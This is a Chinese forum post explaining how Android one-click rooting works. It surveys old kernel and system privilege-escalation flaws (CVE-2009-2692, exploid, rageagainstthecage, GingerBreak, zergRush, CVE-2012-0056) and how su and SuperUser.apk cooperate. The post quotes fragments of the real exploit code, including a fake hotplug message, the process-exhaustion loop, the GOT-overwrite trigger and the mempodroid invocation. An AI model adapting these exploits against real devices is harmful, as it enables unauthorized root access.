宅科技 - 科技,宅出新生活

搜索
热搜: 活动 交友 discuz
如果你还没有论坛的账号,赶快注册吧!
立即注册

合作站点账号登陆

快捷导航
查看: 158|回复: 3

[Root方案] 安卓手机一键Root原理分析,漏洞讲解

[复制链接] [提交至百度]

36

主题

44

帖子

503

积分

超级版主

Rank: 8Rank: 8

积分
503
发表于 2018-8-10 00:40:36 | 显示全部楼层 |阅读模式
扫码领红包
Root的由来

       什么是Root?Root本身是指Linux系统的root帐户,该帐户拥有整个系统至高无上的权利,系统中的所有对象它都可以操作,对于Android手机用户来说的Root是指拥有Root权限,一般情况下,手机厂商出于安全考虑会关闭手机的Root权限,手机系统是运行在普通用户权限下的,用户是无法操作系统中的文件与数据的。

       Root与刷机本身是有很多关联的,而且随着刷机工具的便利与刷机原理的变化,两者的关系更加是模糊不清了。不同厂商针对获取Root权限设置了不同的要塞。

首先从刷机说起,如HTC手机在刷机前需要保证S-OFF,S-OFF代表什么呢?S代表 SecurityLock安全锁,保护锁的意思,S-OFF就是关掉锁保护。然后是Motorola的手机,这个厂商对于不同型号的手机设置是不同的,很多Motorola型号的手机将BootLoader是锁住的,因此,在刷机前需要先解锁BootLoader。还有中兴手机,这厂商更是变态,一次次的版本升级只是为了锁住用户不让用户升级,也就导致了同一型号的手机由于版本不同有的型号带Recovery,有的又不带。三星的手机现在可以说是最好卖的,一方面是出色的硬件配置与外观,另一方面是有众多的Rom包可以刷。三星的好几款手机是Google源码的测试样机,而且三星手机在出厂时对用户的限制相比其它品牌是较少的,这也是广大Android开发者对它青睐有加的原因。

早先的Android手机要想获取Root权限可以有以下几种方式:

1.             使用本地提权漏洞利用工具来直接Root,这是最原始最纯洁的方式。随着厂商对Rom的升级,这些内核的漏洞随时都可能被修补,因此,这种Root方法在时间与空间上都有着很大的局限性。

2.             由于手机厂商对硬件的封闭,加上内核补丁修补很完全,这个时候获取Root权限就更难了,这个时候刷机与Root就联合起来了,由于不能从系统内部通过Exploits来获取Root权限,只能通过修改Rom包来达到Root的目的,这也是目前很多第三方Rom包自带了Root的原因,然而手机厂商也不是吃干饭的,手机厂商在OTA升级时使用Recovery对包签名进行验证来防止用户刷入修改过的包。对于这种变态的厂商,只能通过FastBoot来线刷了,这里内容就不再展开了。

3.             当然,还有一部分厂商,为了吸引更多用户购买他们的手机,还是在手机中偷偷的留了后门的,比如不锁BootLoader,让用户刷第三方的Recovery,又或是干脆留个以前的漏洞不补,让用户自己来Exploits等等。

Root漏洞的历史

Root漏洞不是与生俱来的,这是全世界优秀的计算机黑客不懈努力的成果。也许那个你在夜店喝酒的夜晚,他们正寻找着系统的漏洞,一次次的测试,一次次的失败,最终在你醉得不省人事的时候,他们获取到了系统的最高控制权。他们欢呼,他们嚎叫,他们是全天下是聪明的人!

也许你对他们的事迹不屑一顾,但我相信你对他们的研究成果是饶有兴趣的。下来由我来带领大家,看看这一路走来,都出现过哪里牛人,他们又为我们带来了哪些惊喜。


CVE-2009-2692

       我无法知道Android提权漏洞是从哪个开始的,但我在我印象中,它是最早的。这个漏洞的发现者是Zinx,他是探索Android安全之路的先驱。现在每个Root后的手机中肯定有SuperUser.apk软件,而Zinx就是早先SuperUser的作者,现在SuperUser由ChainsDD来负责更新了,Zinx前辈常年混迹于国外xda论坛,不过现在好像很少露面了。

       这个洞是09年的,现在早已经修补了。从Zinx提供的android-root-20090816.tar.gz压缩包时间来看,这个Exploit是在Android NDK r1发布后近两个月公布的,可见Zinx研究Android的时间是多么的早!这个洞的原作者并不是Znix,Znix只是将洞移植到了Android上,这个洞的作者在Exploit中给出的协议驱动程序包括pppox, bluetooth, appletalk, ipx, sctp,Znix改写的Android版本使用的buletooth协议。这个漏洞的起因是sock_sendpage()的空指针解引用。因为sock_sendpage没有对socket_file_ops结构的sendpage字段做指针检查,有些模块不具备sendpage功能,初始时赋为NULL,这样,没有做检查的sock_sendpage有可能直接调用空指针而导致出错并提升权限!

       接着,sendfile(fdout, fdin, NULL,PAGE_SIZE);的调用使得该洞被触发,最终执行以下代码获取到Root权限:

  1. int __attribute__((section(".null"))) root_sendpage(void*sk, void *page, int offset, size_t size, int flags)

  2. {

  3.        current->uid =current->euid = 0;

  4.        current->gid =current->egid = 0;

  5.        got_root = 1;

  6.        return -ECONNREFUSED;

  7. }
复制代码

CVE-2010-EASY

       这个漏洞是由“The Android Exploid Crew”小组发现的。在公布的代码中,提供了多达三种的提权方法!分别是exploid.c、exploid2.c、rageagainstthecage.c三个文件。

exploid.c与属于exploid2.c同一类Exploit,这个洞的形成是由于udev对热插拔消息检测不严导致的,用户通过发送恶意信息让内核加载自定义的恶意程序从而取得root权限。在代码中,两者都是通过NET_LINK来完成通信,只是在处理“geteuid() == 0”时代码不同而以,程序发送伪热插拔消息,让内核执行自身代码,而内核由于没有检查消息发送者是内核还是用户,就匆忙的执行了,这时“geteuid() == 0”条件成立,接下来只需开个sh就完成了Root工作。创建Socket并发送消息的代码如下:

  1. if ((sock =socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)

  2.               die("[-] socket");



  3.        close(creat("loading", 0666));

  4.        if ((ofd = creat("hotplug",0644)) < 0)

  5.               die("[-] creat");

  6.        if (write(ofd, path , strlen(path)) <0)

  7.               die("[-] write");

  8.        close(ofd);

  9.        symlink("/proc/sys/kernel/hotplug","data");

  10.        snprintf(buf, sizeof(buf),"ACTION=add%cDEVPATH=/..%s%c"

  11.                "SUBSYSTEM=firmware%c"

  12.                "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir,0);

  13.        printf("[+] sending add message...\n");

  14.        if (sendmsg(sock, &msg, 0) < 0)

  15.               die("[-] sendmsg");

  16.        close(sock);
复制代码

rageagainstthecage.c这个洞有人把它称为setuid提权漏洞,这个漏洞的形成过程我个人感觉只能用“巧妙”来形容!代码通过将adbd后台服务子进程耗尽迫使adbd重启,adbd在重启的时候具有root权限,正常情况下这时adbd会调用setuid将权限降到shell,但是由于rageagainstthecage让adbd的僵尸进程充斥着整个系统,这时候setuid会调用失败,最后adbd就被保留了root权限运行,从而完成root提权。核心代码如下:


  1.    if (fork() > 0)

  2.                        exit(0);

  3.      

  4.               setsid();

  5.               pipe(pepe);

  6.      

  7.               if (fork() == 0) {

  8.                        close(pepe[0]);

  9.                       for (;;) {

  10.                                if ((p = fork()) ==0) {

  11.                                       exit(0);

  12.                               } else if (p < 0){

  13.                                       if (new_pids){

  14.                                               printf("\n[+]Forked %d childs.\n", pids);

  15.                                               new_pids = 0;

  16.                                              write(pepe[1], &c, 1);

  17.                                              close(pepe[1]);

  18.                                      }

  19.                               } else {

  20.                                       ++pids;

  21.                               }

  22.                      }

  23.             }

  24.                    close(pepe[1]);

  25.                    read(pepe[0],&c, 1);
复制代码

第1-3行代码fork子进程后退出,第4-6行子进程独立并创建两支管道同来同步进程,具体是由第8行与第25行是一关一读来实现的,第10-11行是不停的创建子进程,然后不停退出,这时僵尸产生了!直到最后p < 0输出创建的子进程数目。在这段代码执行完后会重启adb进程,adb进程重启会执行setgid(AID_SHELL)与setuid(AID_SHELL)两行代码来降权,可是这时候由于进程数达到上限setuid执行失败,这就使得adb进程以Root权限继续执行下去了。

GingerBreak

       GingerBreak本身不是Linux内核漏洞,因此它没有正规的漏洞编号。与上面的漏洞同样的是,GingerBreak也是由“The Android Exploid Crew”小组“发明”的,它的工作原理与Hook类似,通过代码修改/system/bin/vold程序的GOT表项,将strcmp()、atoi()等函数的地址为system()函数的地址,然后触发调用strcmp()或atoi()来达到执行system()的目的,而后者真正被执行后会为我们来带久违的Root Shell,修改函数地址的代码片断如下:


  1. vold.pid= found;

  2.        vold.found= 1;

  3.        if(vold.system)

  4.               return;

  5.        ptr= find_symbol("system");

  6.        vold.system= (uint32_t)ptr;
复制代码

       在修改完函数地址后,就要考虑如何来触发了,“The AndroidExploid Crew”小组再一次使用了NET_LINK进行通信,通过发送热插拔消息让void中的strcmp()或atoi()被调用!但不同的Android系统版本可能操作起来有所不同,于是,需要手工构造消息,然后发送:


  1. /*Trigger any of the GOT overwriten strcmp(), atoi(), strdup() etc.

  2.         * inside vold main binary.

  3.         * Arent we smart? Using old school techniquefrom '99 to fsck NX while others

  4.         * re-invent "ROP". Wuhahahahaha!!!

  5.         */

  6.        if(honeycomb) {

  7.               n= snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"

  8.                                "SEQNUM=%s%cDEVPATH=%s%c"

  9.                                  "MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1",

  10.                                  0, 0, 0, bsh, 0, bsh,0, bsh, 0, bsh, 0, bsh, 0);

  11.        }else if (froyo) {

  12.               n= snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"

  13.                                 "DEVPATH=%s%c"

  14.                                  "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",

  15.                                  0, 0, 0, bsh, 0, 0,vold.system, 0, 0);

  16.        }else {

  17.               n= snprintf(buf, sizeof(buf), "%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c"

  18.                                "SEQNUM=%s%cDEVPATH=%s%c"

  19.                                  "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",

  20.                                  bsh, bsh, 0, bsh, 0,bsh, 0, bsh, 0, bsh, 0, 0, vold.system, 0, 0);

  21.        }
复制代码

       可以看到,代码的适用范围是froyo到honeycomb,仔细看一下代码的注释部分,代码的作者真的卡哇伊呢!

zergRush

       同GingerBreak一样,zergRush也不属于内核漏洞。这个漏洞是大名鼎鼎的Revolutionary工具开发小组公布的,这个小组开发的Revolutionary解锁工具对于HTC的用户应该不陌生吧!这个漏洞的原理是由于libsysutils.so库中的FrameworkListener::dispatchCommand函数的一个栈变量引起的,栈变量argv[FrameworkListener::CMD_ARGS_MAX]由于允许的最大下标为16,如果我们特意传送超过 16 个空格分割的字符串,函数就会溢出。

       整个溢出工具的代码框架与GingerBreak是一样的,我估计是在GingerBreak代码基础上加工的,嘿嘿,整个代码的核心部分在do_fault函数中,代码设计十分巧妙,经过精心的构造最终执行安排的Shellcode,整个过程通过代码阅读很难在大脑中建立模型结构,建议还是手动调试好。

       以上介绍的几个漏洞代码都是优秀的,无可挑剔的,它们目前在全球各地以各种名称与形式存在着。

CVE-2012-0056

2012年1月23日,正当我们与家人聚在一起吃团年饭的时候,国外的小伙zx2c4在自己的主页上公布了此漏洞,随后,xda上的网友saurik对其编写了Android版本的Exploit。这个漏洞的原理是利用系统中具体s属性的程序通过自修改程序的内存,执行Shellcode达到获得Root权限的目的。完成修改进程内存的动作前需要解决两个问题:

1.      系统只允许$pid进程或者$pid的调试进程对/proc/$pid/mem文件进行写入。

2.      系统会检查打开/poc/$pid/mem的程序的self_exec_id是否与当前运行的程序相同,一个进程使用exec()后self_exec_id会自动加一,以此来保护内存不会被别的程序修改。

解决第一个问题很简单,可以直接打开自己进程的内存即可,第二个问题就难办了,因为进程打开自己时self_exec_id已经加一了,zx2c4使用子进程来巧妙的解决了这个问题,首先fork()子进程来保存进程的mem文件到CMSG_DATA,然后父进程使用dup(2)创建2号fd,接着dup2(mem,2)将mem的内容dup2给2号fd,这时2号fd指向了/poc/$pid/mem的fd,下一步是构造参数args,调用"/system/bin/run-as"来执行Exploit,代码如下:

      

  1. ……

  2.        int save = dup(2);

  3.     dup2(mem, 2);

  4.     close(mem);

  5.     if (save != 3) {

  6.         dup2(save, 3);

  7.         close(save);

  8.     }

  9.     char self[1024];

  10.    _syscall(readlink("/proc/self/exe", self, sizeof(self) - 1));

  11.     char *args[4 + argc + 1];

  12.     args[0] = strdup("run-as");

  13.     args[1] = (char *) exploit;

  14.     args[2] = self;

  15.     args[3] = strdup("-");

  16.     int i;

  17.     for (i = 0; i != argc; ++i)

  18.         args[4 + i] = argv[i];

  19.     args[4 + i] = NULL;

  20. _syscall(execv("/system/bin/run-as", args));

  21. return 0;
复制代码

       漏洞利用程序在运行时需要提供三个参数exit()函数地址、setresuid()函数地址以及一个命令,如Root掉Galaxy Nexus手机可以执行:./data/local/tmp/mempodroid0xd7f4 0xad4b sh

       exit()与setresuid()函数地址的获取很简单,可以使用objdump查找,可以使用如下代码来获取:


  1. intmain(void) {

  2.     void*  lib = dlopen("libc.so", RTLD_NOW |RTLD_GLOBAL);

  3.     void*  symbol;

  4.     if (lib == NULL) {

  5.         fprintf(stderr,"Could not open self-executable with dlopen(NULL) !!: %s\n",dlerror());

  6.         return 1;

  7.     }

  8.     symbol = dlsym(lib,"exit");

  9.     if (symbol == NULL) {

  10.         fprintf(stderr,"Could not lookup symbol exit !!: %s\n", dlerror());

  11.         return 2;

  12.     }

  13.        printf("exit()addr:%08x\n", symbol);

  14.        symbol = dlsym(lib,"setresuid");

  15.     if (symbol == NULL) {

  16.         fprintf(stderr,"Could not lookup symbol setresuid !!: %s\n", dlerror());

  17.         return 2;

  18.     }

  19.        printf("setresuid()addr:%08x\n", symbol);

  20.     dlclose(lib);

  21.     return 0;

  22. }
复制代码

       这个漏洞目前是最新的,并且漏洞的补丁是Linux的父亲Linus亲自提交的。在最新ICS 4.0.2(ICL53F)以前的Android系统中,这个漏洞可以正常工作。

su与SuperUser.apk是如何协作的

       在Root后手机会植入su与superuser.apk两个文件,前者会被放入手机的/system/bin目录下,后者被放到/system/app目录下,它们组合在一起,为系统提供了su权限的管理。这两个工具目前由xda论坛上的ChainsDD在维护(顺便说一下,国内xxRoot工具也有自已的su与SuperUser.apk文件,修改取自并修改于ChainsDD的代码,并且版权被切)。

       su程序与Linux平台上的su本身无太大差别,只是由于系统的特殊性去掉了部分内容,并加上了一些控制代码。su程序保留的命令行参数不多,“-c”与“-s”可能是最常用的,整个程序核心功能由两个方向性的函数allow()与deny()组成,在经过计算获取到了命令行参数与命令后,会执行以下代码:


  1. if(su_from.uid == AID_ROOT || su_from.uid == AID_SHELL)

  2.        allow(shell, orig_umask);

  3.    if (stat(REQUESTOR_DATA_PATH, &st) < 0) {

  4.        PLOGE("stat");

  5.        deny();

  6.     }

  7.     ……

  8.    setgroups(0, NULL);

  9.    setegid(st.st_gid);

  10. seteuid(st.st_uid);

  11. AID_ROOT与AID_SHELL分别是root与shell权限,程序直接放行,stat()函数会检查手机是否安装有SuperUser.apk,没有程序会拒绝执行。条件满足就会以Superuser的权限往下执行:

  12. db =database_init();

  13. if (!db) {

  14.     LOGE("sudb - Could not open database,prompt user");

  15.     dballow = DB_INTERACTIVE;

  16. } else {

  17.     LOGE("sudb - Database opened");

  18.     dballow = database_check(db, &su_from,&su_to);

  19.     sqlite3_close(db);

  20.     db = NULL;

  21.     LOGE("sudb - Database closed");

  22. }

  23. switch (dballow){

  24.         case DB_DENY: deny();

  25.         case DB_ALLOW: allow(shell,orig_umask);

  26.         case DB_INTERACTIVE: break;

  27.         default: deny();

  28.     }
复制代码

database_init()与database_check()负责从SuperUser.apk程序databases目录下的permissions.sqlite数据库中读取权限设置,这也是为什么SuperUser.apk有能力控制su的原因!(人家主动找上门的)等dballow弄到手,该放行该拒绝就看着办了,如果没搜索到记录就代表是第一次,需要往下建立socket来send_intent,send_intent()采用底层构造Intent方式来发送广播,这个广播会被SuperUser.apk接收,等返回后会给你返回个字符串“ALLOW”或“DENY”,这时候su程序该咋地就咋地了:


  1. if(send_intent(&su_from, &su_to, socket_path, -1, 0) < 0) {

  2.     deny();

  3. }

  4. if(socket_receive_result(socket_serv_fd, buf, sizeof(buf)) < 0) {

  5.     deny();

  6. }

  7. ……

  8. if (!strcmp(result, "DENY")) {

  9.     deny();

  10. } else if(!strcmp(result, "ALLOW")) {

  11.     allow(shell, orig_umask);

  12. } else {

  13.     LOGE("unknown response from SuperuserRequestor: %s", result);

  14.     deny();

  15. }
复制代码

下面是SuperUser.apk的工作了,上面的广播会被SuperUser.apk的SuRequestReceiver广播接收者收到,广播接收者首先读取prompt设置,如果用户要的是自动处理,那就根据这个值来对Root权限请求自动拒绝或自动放行,如果不自动处理,就到数据库中搜索权限规则,并根据结果发回处理,另外SuperUser除了对普通的程序进程su权限控制外,还提供了NFC、SecretCode、PinCode的监控,SuperUser同时注册了安装与卸载Apk的广播接收者,在安装与卸载时会对权限数据库中的条目进行更新或删除操作,限于篇幅,SuperUser的详细实现在此就不再展开了。


到这里本文就告一段落了。本文主要分析了手机Root权限获取的过程,并介绍了常见的几个Root提权漏洞,最后通过分析su与SuperUser.apk的协作方式解了Root真正的原理。



上一篇:莫慌!安卓手机USB调试安全(315晚会免费充电桩事件)技术揭秘
下一篇:中兴N958ST官方固件 原厂工具
回复

使用道具 举报

0

主题

17

帖子

19

积分

吃瓜群众

Rank: 1

积分
19
发表于 2018-8-12 22:53:01 | 显示全部楼层
教学贴,不明觉厉
回复 支持 反对

使用道具 举报

0

主题

17

帖子

517

积分

顶级大神

Rank: 4

积分
517
发表于 2018-8-18 15:45:24 | 显示全部楼层
不觉明历
回复

使用道具 举报

0

主题

19

帖子

19

积分

吃瓜群众

Rank: 1

积分
19
发表于 2018-9-24 02:01:06 | 显示全部楼层
:lol:lol:lol:lol:lol:lol:lol刚刚
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

微信公众号
微信扫码关注,
回复“领取金币”
每周抽取5位
会员奖励500金币

QQ|Archiver|手机版|小黑屋|宅科技 ( 粤ICP备15107403号

GMT+8, 2018-10-23 14:24 , Processed in 1.448621 second(s), 32 queries .

Copyright © 2016 宅科技 | 智能终端极客社区

Powered by Discuz! X3.2 Licensed

快速回复 返回顶部 返回列表